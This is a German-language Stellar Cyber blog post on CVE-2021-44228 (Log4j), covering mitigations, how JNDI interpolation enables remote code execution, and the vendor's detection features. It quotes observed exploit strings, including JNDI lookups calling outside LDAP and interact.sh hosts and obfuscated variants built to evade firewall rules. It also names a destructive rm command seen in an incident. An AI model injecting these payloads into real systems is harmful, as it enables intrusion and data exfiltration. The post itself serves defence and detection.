Stellar Cyber: Log4j-Schwachstellen- und Ausnutzungserkennung

1. Einleitung

In den letzten Tagen hat eine schwerwiegende Sicherheitslücke in Log4j ( CVE-2021-44228 , CVE-2021-45046 ) beinahe zu einer Katastrophe im Internet geführt. Als weit verbreitetes Java-Logging-Tool mit einer leicht ausnutzbaren Schwachstelle hat Log4j IT-Experten und Unternehmen zweifellos verunsichert und viele Fragen aufgeworfen: Was genau ist diese Sicherheitslücke? Wie kann ich feststellen, ob mein System betroffen ist? Wurde meine IT-Infrastruktur bereits kompromittiert? Was kann ich tun, um zukünftige Angriffe, die diese Schwachstelle ausnutzen, zu verhindern?

Bei Stellar Cyber ​​haben wir die Situation genau beobachtet und sind hier, um unseren aktuellen und potenziellen Kunden und Partnern unsere Erkenntnisse und Ratschläge zur Verfügung zu stellen, während sie durch die Unsicherheiten dieser Log4j-Sicherheitslücke navigieren.

2. Auswirkungen und Minderung

Laut CVE-2021-44228 ist jede Apache Log4j2-Version vor 2.15.0 aufgrund einer ungeprüften String-Interpolation bei JNDI-Lookups ( Java Naming and Directory Interface ) von dieser Schwachstelle betroffen. Ein Angreifer, der Daten in Logmeldungen einschleusen kann, kann einen speziell formatierten JNDI-Interpolationsausdruck erstellen und einfügen, um beliebigen Code vom angegebenen JNDI-Endpunkt (z. B. einem LDAP-Server) zu laden und auszuführen, sobald der Interpolationsausdruck von Log4j ausgewertet wird.

Die Auswirkungen dieser Sicherheitslücke dürften weitreichend sein, da Log4j in vielen gängigen Softwareanwendungen weit verbreitet ist und leicht ausnutzbar ist. Die Sicherheitscommunity hat Websites, Software, Open-Source-Komponenten und andere Hersteller, die Log4j verwenden, überwacht und bestätigt, dass selbst einige namhafte Unternehmen betroffen sind.

Um diese Sicherheitslücke zu beheben, empfehlen wir unseren Kunden und Partnern, ihr bestehendes Log4j auf Version 2.15.0 zu aktualisieren, in der das JNDI-bezogene Verhalten standardmäßig deaktiviert ist. Falls ein sofortiges Upgrade nicht möglich ist, kann alternativ die Systemeigenschaft ` log4j2.formatMsgNoLookups` auf ` true` gesetzt werden (gilt ab Version 2.10) oder die Klasse `JndiLookup` aus dem Klassenpfad entfernt werden (gilt für Log4j-Versionen vor 2.10 über `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class` ).

Darüber hinaus empfehlen wir unseren Kunden und Partnern, ihr vorhandenes Java auf mindestens Version 6u211, 7u201, 8u191 oder 11.0.1 zu aktualisieren, in der das Laden von JNDI-Remote-Klassen standardmäßig deaktiviert ist.

Für bestimmte Softwareanwendungen, die Log4j verwenden und von dieser Sicherheitsanfälligkeit betroffen sind, wenden Sie sich bitte an die Softwareanbieter, um so schnell wie möglich geeignete Patches anzuwenden.

3. Technische Details

Bei CVE-2021-44228 gibt es zwei wesentliche und relevante Teile, die die Schwachstelle ausmachen: Java Naming and Directory Interface (JNDI) mit Remote Method Invocation-Funktionalität und die Unterstützung von Log4j für die Log-Interpolation mit JNDI-Lookup.

Die Java Naming and Directory Interface (JNDI, Abbildung 1) ist eine ältere, aber immer noch nützliche Funktion, die auf Java 2 v1.3 zurückgeht. Sie stellt Java-Anwendungen Namens- und Verzeichnisfunktionen zur Verfügung, sodass eine Anwendung über JNDI verschiedene Dienstanbieter wie beispielsweise das Lightweight Directory Access Protocol (LDAP) aufrufen kann. So kann eine Java-Anwendung beispielsweise die URL ldap://some-ldap-server:389/o=SomeObjectID über JNDI an einen unterstützten LDAP-Server some-ldap-server senden, um ein entferntes Objekt SomeObject zu finden und aufzurufen.

Auf dem Log4j Seite wurde die JNDI-Lookup-Unterstützung zum ersten Mal in v2.0 im Jahr 2013 eingeführt, wie von den Benutzern nach ausgefeilten Protokollierungsfunktionen gefordert. Seitdem ermöglicht Log4j Entwicklern die Verwendung von String-Interpolation mit JNDI in Log-Nachrichten. Man kann zum Beispiel schreiben logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}") und Log4j würde den Interpolationsausdruck auswerten und entsprechend JNDI aufrufen, um Daten abzurufen, die die Protokollnachricht von einem entfernten Server bilden.

Acht Jahre später, am 30. November 2021, wurde das Log4j- Team schließlich auf die Sicherheitslücke aufmerksam gemacht, die die Ausführung von Remote-Code ermöglichte und durch die Kombination von Log-Interpolation und JNDI-Lookup entstand. Eine Woche später war nahezu die gesamte Sicherheitscommunity und IT-Branche informiert und geriet in Panik.

Die Konsequenz dieser Sicherheitslücke wäre besonders schlimm, nicht nur weil Log4j so weit verbreitet ist, sondern auch, weil die Leute Log4j zu perfekt und zu leicht für Angreifer ausnutzen.

Wie wir aus dem oben genannten Beispiel von sehen können logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}"), um diese Sicherheitsanfälligkeit erfolgreich auszunutzen, muss ein Angreifer wissen, welche Art von injizierten Daten schließlich irgendwo von einem Opfersystem mit Log4j protokolliert werden. In Wirklichkeit ist es für jeden Angreifer mit minimaler Vertrautheit mit modernen netzwerkbasierten Anwendungen, bei denen es üblich ist, jede Anforderung einschließlich URL, Abfragezeichenfolge und Benutzeragent zu protokollieren, eine schwache Sache.

Bei Stellar Cyber ​​haben wir in der letzten Woche Exploit-Versuche bei unseren Kunden und Partnern überwacht. Unsere durch maschinelles Lernen unterstützte User-Agent-Anomalieerkennung hat bereits anomale User-Agent-Strings erkannt, wie zum Beispiel:

• ${jndi:ldap://xxx.xxx.xxx.xxx:2222/lx-ffff82fd0128500008eac5b861000000005a8343}
• ${jndi:${lower:l}${lower:d}a${lower:p}://xxx.x:80/callback}
• ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6sg0p8vc25qalcfvemgcghoy4yyyyyjo.interact.sh}

Unter diesen Beispielen stellen wir fest, dass Angreifer verschiedene Möglichkeiten untersucht haben, um die Sicherheitsanfälligkeit auszunutzen – nicht nur durch die Verwendung der Vanilla-Form, sondern auch durch verschiedene Variationen, um regelbasierte Web Application Firewalls zu umgehen, die versuchen, mitzuhalten. ${jndi:ldap*.

Auch wenn bisher kein Fall bekannt ist, in dem Angreifer die Schwachstelle ausgenutzt und dadurch schwerwiegende Folgen verursacht haben, ist es dennoch bemerkenswert, dass selbst eine einfache Sondierung, z. B. der Versuch, die Schwachstelle mit DNSLog auszunutzen , um zu prüfen, ob ein Zielsystem angreifbar ist, Schaden anrichten kann, da Angreifer möglicherweise gerade zukünftige Assets sammeln.

4. Wie Stellar Cyber ​​helfen kann

Bei Stellar Cyber ​​bieten wir unseren Kunden und Partnern mehrere Tools zur Abwehr von Angriffen, die CVE-2021-44228 ausnutzen.
Durch unseren Threat Intelligence Provider verfügt Stellar Cyber ​​Security Sensor (SDS) bereits über die aktuellen Signaturen, um typische Ausnutzungen von CVE-2021-44228 zu erkennen.

4.1 Stellar-Warnungen bei Exploitation-Erkennungen

Wir bieten derzeit die folgenden Benachrichtigungstypen an, die eine neue IDS-Signatur oder eine Spitze von IDS-Signaturen erkennen:

• – Public to Private Exploit Anomalie
• – Private to Public Exploit Anomalie
• – Private zu private Exploit-Anomalie
• – Public to Public Exploit Anomalie

Bitte achten Sie auf diese Warnungen mit "log4j" in der Alert-Beschreibung oder ids.signature Feld.

4.2 ATH zum Verfolgen übereinstimmender Apache Log4j-Signaturen

Wenn Sie alle Instanzen übereinstimmender Apache Log4j-Signaturen verfolgen möchten, können Sie die folgenden Regeln erstellen (Achtung: Es können viele Warnungen erstellt werden):

• - Suche ML-IDS/Malware-Sandbox-Ereignisse Index mit der Abfrage ids.signature: log4j.

4.3 URL-Erkennung und Erkennung von Benutzeragentenanomalien

Da Angreifer verschiedene Variationen von Ausbeutungen untersuchen, helfen unsere KI-gestützten Anomalieerkennungen (Abbildung 2) auch dabei, indirekte oder ungewöhnliche Versuche zu erkennen.

Wir finden einige indirekte Versuche von URL Reconnaissance Anomaly Detection mit Log4j in einem Teil von URLs, um die Schwachstelle über Java-Webanwendungen auszunutzen. Solche Versuche beinhalten normalerweise, dass ein Angreifer nach Seiten sucht, die er ausnutzen kann, was zu einer anormalen Anzahl von HTTP-4xx-Fehlern führt, die durch URL Reconnaissance Anomaly Detection erkannt werden können.

Da User-Agent-Strings nach unseren Beobachtungen ein wichtiges Mittel zur Ausbeutung sind, ist auch unsere User-Agent-Anomalieerkennung ein nützliches Werkzeug. Es erkennt User-Agent-Strings, die noch nie oder nur sehr selten gesehen wurden, und kann so einen zusätzlichen Schutz gegen den steigenden Trend der Ausbeutung bieten.

Suchen "log4j" direkt in allen Alerts sinnvoll sein. (Achtung: Dies ist eine sehr teure Abfrage. Bitte versuchen Sie keine Rohdaten, die zu einer Überlastung des Data Lake führen könnten.)

4.4 Ereigniskorrelation

Ein Versuch, CVE-2021-44228 auszunutzen, kann nur eine einzige Aktion sein, die zu einer einzigen Warnung unserer Entdeckungen führt. Um potenzielle laufende Angriffe im Zusammenhang mit dem leicht ausnutzbaren Log4j weiter zu untersuchen und zu verfolgen, bieten wir eine zusätzliche Funktion für Vorfälle (Abbildung 3), um eine Reihe von mehreren korrelierten Warnungen und Entitäten zu korrelieren, die einen potenziellen einheitlichen Angriff (dh einen Vorfall) darstellen. für bessere Sichtbarkeit und Verwaltbarkeit der Sicherheit. Wir verwenden maschinelle Lernfunktionen, um Vorfälle automatisch zu generieren und verwandte Warnungen zu einem einheitlichen Vorfall für eine verbesserte Angriffslösung zu gruppieren.

Wie wir in Abbildung 4 sehen können, die eine detaillierte Zeitachsenansicht eines Vorfalls mit CVE-2021-44228 Exploitation stellt unsere Incident Correlation automatisch drei stark korrelierte Warnungen aus drei verschiedenen Erkennungen zusammen, die nach dem Zeitpunkt ihres Auftretens geordnet sind: erstens eine User-Agent-Anomalie, bei der ein Angreifer versuchte, eine bösartige User-Agent-Zeichenfolge von 10.11.191.95 bis 10.11.190.88 einzuschleusen, gefolgt von einem abnormalen Prozess, der am 10.11.190.88 erkannt wurde und mit einer Befehlsanomalie endet, die einen gefährlichen Befehl ausführt xargs -r -0 rm -f.

5. Schlussfolgerungen

In diesem Beitrag haben wir unsere Takeaways von . geteilt CVE-2021-44228 und haben unsere aktuellen und zukünftigen Kunden und Partner beraten, und wir haben auch gezeigt, wie Stellar Cyber ​​in dieser unsicheren Zeit zu Hilfe kommen kann. Als letzte Erinnerung: Stellen Sie sicher, dass Sie jede betroffene Software patchen und aktualisieren, einschließlich Log4j (to v2.15.0+) and Java (to at least 6u211, 7u201, 8u191, or 11.0.1).